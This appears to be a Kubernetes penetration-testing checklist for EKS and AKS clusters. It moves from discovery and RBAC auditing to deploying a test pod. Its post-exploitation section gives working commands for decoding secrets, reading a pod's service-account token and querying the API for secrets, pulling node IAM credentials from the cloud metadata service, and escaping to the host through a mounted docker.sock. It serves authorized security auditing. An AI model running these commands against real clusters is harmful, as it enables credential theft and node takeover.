Access & Pre-Reqs
Prerequisites: az cli, aws cli, aws-azure-login (npm/nodejs), kubectl
See Cloud Audit Tools for cloud authentication setup. For EKS environments with non-standard role assumption, see EKS assume-role + update-kubeconfig script.
Initial Discovery & Situational Awareness
- Establish cluster, user, and default namespace.
kubectl config view
- Get basic cluster information.
kubectl version
kubectl cluster-info
- List all resources in a target namespace.
kubectl get all -n <namespace> -o wide
kubectl get all -o wide --all-namespaces
- List Service Accounts.
kubectl get serviceaccounts -n <namespace>
- List Services to identify running applications and internal endpoints.
kubectl get services -n <namespace>
- List Secrets
Look for things like
api-key,password,db-user,AWS_SECRET_ACCESS_KEYetc. TYPE:Opaque may also be interesting. dockercfg generally are not useful
kubectl get secrets -n <namespace>
# Dig deeper & decode
kubectl get secret [secret-name] -n <namespace> -o yaml
echo 'encoded base64 string' | base64 --decode
- Dump dockercfg/dockerconfig secrets
kubectl get secrets -n <namespace> -o json | jq -r '.items[] | select(.type=="kubernetes.io/dockercfg" or .type=="kubernetes.io/dockerconfigjson") | {name: .metadata.name, type: .type, data: .data | map_values(@base64d)}' > decoded_secrets.txt
- List Custom Resource Definitions (CRDs) Indicates custom operators/software. This is a cluster-wide check._
kubectl get crd
- List EKS clusters and describe.
Assumes AWS CLI is configured
aws eks list-clusters
aws eks describe-cluster --name <cluster-name> --region <region>
Scanning
nmap *Check services here: Kubernetes
nmap -n -T4 -sS -sV -p- <target-node-ips>
nmap -sU <target-node-ips>
trivy Updated kubeconfig needed
trivy k8s --include-namespaces [namespace1,namespace2,namespace3] --report=all
checkov
# Point checkov to a directory containing your IaC files
checkov -d /path/to/manifests/
Manual Security & RBAC Audit
-
List your own allowed actions.
# Cluster-wide kubectl auth can-i --list # Specific namespace kubectl auth can-i --list -n <namespace> -
List Cluster-wide Role Bindings.
Focus on bindings that grant powerful roles (like
cluster-admin) to broad groups (e.g.,system:authenticated).kubectl get clusterrolebindings -o wide -
List Namespace-specific Role Bindings.
kubectl get rolebindings -n <namespace> -o wide
-
Audit targeted Service Account privileges.
Use the
--asflag to impersonate the Service Account.
kubectl auth can-i --list --as=system:serviceaccount:<namespace>:<serviceaccountname> -n <namespace>
- Privileged pods running?
Find pods
kubectl get pods -n <namespace> -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged == true) | .metadata.name'
# Evidence from specific pod
kubectl get pod -n [namespace] [pod_from_above] -o yaml | grep "runAsNonRoot: false" -A5 -B5
- Pods running as root?
# Find pods
kubectl get pods -n <namespace> -o json | jq -r '.items[] | select(.spec.containers[].securityContext.runAsNonRoot != true) | .metadata.name'
# Verify from specific pod
kubectl get pod -n [namespace] [podname] -o yaml | grep -i "runAsNonRoot" -A5 -B5
kubectl get deployment
# Exec in and check check
kubectl exec -it [podname] -n [namespace] -- id
- Find Pods with Host Path Mounts.
Look for sensitive host paths like
/,/etc, or/var/run/docker.sock.
kubectl get pods -n <namespace> -o json | jq '.items[] | select(.spec.volumes[].hostPath != null) | {name: .metadata.name, hostPaths: .spec.volumes[].hostPath}'
- Check ConfigMap, NetworkPolicy,
Exploitation via Malicious Pod Deployment
-
Simulate an attacker who has gained
pods/createpermissions.Use your auditor credentials for the sole purpose of deploying a minimal, non-privileged pod from your curated pentest repository to test the impact.
-
Create a minimal pod manifest.
This manifest is explicitly non-privileged and does not request
privilegedcontext orhostPathmounts.# pentest-pod.yaml apiVersion: v1 kind: Pod metadata: name: pentest-pod namespace: <target-namespace> spec: containers: - name: pentest-container # Image from your curated pentest repo with tools image: your-curated-repo/pentest-tools/net-tools:latest command: ["sleep", "3600"] # Keep the pod running for exec access -
Deploy the pod to the target namespace.
kubectl apply -f pentest-pod.yaml
Phase 5: Post-Exploitation & Container Breakout**
-
Rules of Engagement: Your initial auditor credentials are now out of scope. All actions must be performed from within the
pentest-pod, using only its resources. -
Exec into the pod to get a shell.
kubectl exec -it [pod] -n [namespace] -- /bin/sh
kubectl exec --stdin --tty [podname] -- /bin/bash
- Perform initial checks inside the container.
# Inside the pod's shell:
id
uname -a
ip route
- Retrieve the pod’s mounted Service Account token.
# Inside the pod's shell:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Use the token to interact with the K8s API
curl -k -H "Authorization: Bearer $TOKEN" https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/<target-namespace>/secrets
-
Attempt to get node credentials from the cloud provider metadata service.
-
AWS/EKS:
curl [http://169.254.169.254/latest/meta-data/iam/security-credentials/](http://169.254.169.254/latest/meta-data/iam/security-credentials/)<node-iam-role-name> -
Azure/AKS:
curl -H Metadata:true "[http://169.254.169.254/metadata/instance?api-version=2021-02-01](http://169.254.169.254/metadata/instance?api-version=2021-02-01)"
-
-
Perform internal network reconnaissance.
Tip: If tools aren’t in the image, compile a static binary (e.g., nmap) and
kubectl cpit into the pod.# Example: Scan for internal services like Prometheus/Grafana dashboards ./nmap-static -p 9090,3000 <internal-service-ip-range> -
Look for node escape vectors.
If a compromised pod has a
docker.sockmount, use it to break out.# From a pod with docker client installed and docker.sock mounted docker run -it --rm -v /:/host alpine chroot /host